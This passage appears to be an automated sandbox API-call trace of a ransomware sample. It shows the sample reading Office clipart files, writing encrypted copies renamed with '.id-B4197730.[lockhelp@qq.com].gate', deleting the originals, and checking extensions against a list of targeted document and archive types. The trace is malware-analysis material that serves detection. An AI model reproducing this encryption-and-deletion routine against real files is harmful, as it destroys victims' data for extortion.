nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1320, lpOverlapped=0x0) returned 1 [0279.989] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0279.989] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0279.989] SetEndOfFile (hFile=0x3bc) returned 1 [0280.080] CloseHandle (hObject=0x3bc) returned 1 [0280.082] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.082] SetEndOfFile (hFile=0x418) returned 1 [0280.161] CloseHandle (hObject=0x418) returned 1 [0280.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0280.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0280.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.286] lstrlenW (lpString=".doc") returned 4 [0280.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0280.286] lstrlenW (lpString=".docx") returned 5 [0280.286] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0280.286] lstrlenW (lpString=".pdf") returned 4 [0280.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0280.286] lstrlenW (lpString=".xls") returned 4 [0280.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0280.286] lstrlenW (lpString=".xlsx") returned 5 [0280.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0280.286] lstrlenW (lpString=".ppt") returned 4 [0280.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0280.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.286] lstrlenW (lpString=".zip") returned 4 [0280.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0280.286] lstrlenW (lpString=".rar") returned 4 [0280.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0280.286] lstrlenW (lpString=".bz2") returned 4 [0280.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0280.286] lstrlenW (lpString=".7z") returned 3 [0280.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0280.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.286] lstrlenW (lpString=".dbf") returned 4 [0280.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0280.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.286] lstrlenW (lpString=".1cd") returned 4 [0280.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0280.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.286] lstrlenW (lpString=".jpg") returned 4 [0280.286] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0280.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.287] lstrlenW (lpString=".doc") returned 4 [0280.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0280.287] lstrlenW (lpString=".docx") returned 5 [0280.287] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0280.287] lstrlenW (lpString=".pdf") returned 4 [0280.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0280.287] lstrlenW (lpString=".xls") returned 4 [0280.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0280.287] lstrlenW (lpString=".xlsx") returned 5 [0280.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0280.287] lstrlenW (lpString=".ppt") returned 4 [0280.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0280.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.287] lstrlenW (lpString=".zip") returned 4 [0280.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0280.287] lstrlenW (lpString=".rar") returned 4 [0280.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0280.287] lstrlenW (lpString=".bz2") returned 4 [0280.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0280.287] lstrlenW (lpString=".7z") returned 3 [0280.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0280.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.287] lstrlenW (lpString=".dbf") returned 4 [0280.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0280.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.287] lstrlenW (lpString=".1cd") returned 4 [0280.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0280.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0280.287] lstrlenW (lpString=".jpg") returned 4 [0280.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0280.288] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0280.288] lstrlenW (lpString="AN00853_.WMF") returned 12 [0280.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.288] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=20578) returned 1 [0280.288] CloseHandle (hObject=0x418) returned 1 [0280.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0280.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.289] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.289] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0280.289] GetLastError () returned 0x0 [0280.289] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5062, lpOverlapped=0x0) returned 1 [0280.463] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5070, lpOverlapped=0x0) returned 1 [0280.921] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0280.921] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0280.921] SetEndOfFile (hFile=0x3d0) returned 1 [0280.922] CloseHandle (hObject=0x3d0) returned 1 [0280.923] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.923] SetEndOfFile (hFile=0x418) returned 1 [0280.925] CloseHandle (hObject=0x418) returned 1 [0280.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0280.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0280.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.926] lstrlenW (lpString=".doc") returned 4 [0280.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.926] lstrlenW (lpString=".docx") returned 5 [0280.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.926] lstrlenW (lpString=".pdf") returned 4 [0280.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.926] lstrlenW (lpString=".xls") returned 4 [0280.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.926] lstrlenW (lpString=".xlsx") returned 5 [0280.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.926] lstrlenW (lpString=".ppt") returned 4 [0280.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.926] lstrlenW (lpString=".zip") returned 4 [0280.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.926] lstrlenW (lpString=".rar") returned 4 [0280.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString=".bz2") returned 4 [0280.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString=".7z") returned 3 [0280.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.927] lstrlenW (lpString=".dbf") returned 4 [0280.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.927] lstrlenW (lpString=".1cd") returned 4 [0280.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.927] lstrlenW (lpString=".jpg") returned 4 [0280.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.927] lstrlenW (lpString=".doc") returned 4 [0280.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString=".docx") returned 5 [0280.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.927] lstrlenW (lpString=".pdf") returned 4 [0280.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString=".xls") returned 4 [0280.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.927] lstrlenW (lpString=".xlsx") returned 5 [0280.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.927] lstrlenW (lpString=".ppt") returned 4 [0280.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.927] lstrlenW (lpString=".zip") returned 4 [0280.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.927] lstrlenW (lpString=".rar") returned 4 [0280.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.927] lstrlenW (lpString=".bz2") returned 4 [0280.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.928] lstrlenW (lpString=".7z") returned 3 [0280.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.928] lstrlenW (lpString=".dbf") returned 4 [0280.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.928] lstrlenW (lpString=".1cd") returned 4 [0280.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0280.928] lstrlenW (lpString=".jpg") returned 4 [0280.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.928] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0280.928] lstrlenW (lpString="AN00932_.WMF") returned 12 [0280.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.928] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=14428) returned 1 [0280.928] CloseHandle (hObject=0x418) returned 1 [0280.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0280.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0280.929] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.929] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0280.930] GetLastError () returned 0x0 [0280.930] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x385c, lpOverlapped=0x0) returned 1 [0281.072] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3860, lpOverlapped=0x0) returned 1 [0281.073] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0281.073] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0281.073] SetEndOfFile (hFile=0x3d0) returned 1 [0281.073] CloseHandle (hObject=0x3d0) returned 1 [0281.074] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.074] SetEndOfFile (hFile=0x418) returned 1 [0281.077] CloseHandle (hObject=0x418) returned 1 [0281.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0281.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.078] lstrlenW (lpString=".doc") returned 4 [0281.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.078] lstrlenW (lpString=".docx") returned 5 [0281.078] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.078] lstrlenW (lpString=".pdf") returned 4 [0281.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.078] lstrlenW (lpString=".xls") returned 4 [0281.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.078] lstrlenW (lpString=".xlsx") returned 5 [0281.078] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.078] lstrlenW (lpString=".ppt") returned 4 [0281.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.078] lstrlenW (lpString=".zip") returned 4 [0281.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.078] lstrlenW (lpString=".rar") returned 4 [0281.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString=".bz2") returned 4 [0281.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString=".7z") returned 3 [0281.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.079] lstrlenW (lpString=".dbf") returned 4 [0281.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.079] lstrlenW (lpString=".1cd") returned 4 [0281.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.079] lstrlenW (lpString=".jpg") returned 4 [0281.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.079] lstrlenW (lpString=".doc") returned 4 [0281.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString=".docx") returned 5 [0281.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.079] lstrlenW (lpString=".pdf") returned 4 [0281.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString=".xls") returned 4 [0281.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.079] lstrlenW (lpString=".xlsx") returned 5 [0281.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.079] lstrlenW (lpString=".ppt") returned 4 [0281.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.079] lstrlenW (lpString=".zip") returned 4 [0281.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.079] lstrlenW (lpString=".rar") returned 4 [0281.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.079] lstrlenW (lpString=".bz2") returned 4 [0281.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.080] lstrlenW (lpString=".7z") returned 3 [0281.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.080] lstrlenW (lpString=".dbf") returned 4 [0281.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.080] lstrlenW (lpString=".1cd") returned 4 [0281.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68 [0281.080] lstrlenW (lpString=".jpg") returned 4 [0281.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.080] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0281.080] lstrlenW (lpString="AN01060_.WMF") returned 12 [0281.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.080] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=7968) returned 1 [0281.080] CloseHandle (hObject=0x418) returned 1 [0281.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0281.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0281.081] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.081] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.082] GetLastError () returned 0x0 [0281.082] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1f20, lpOverlapped=0x0) returned 1 [0281.407] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1f30, lpOverlapped=0x0) returned 1 [0281.408] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0281.408] WriteFile (in: 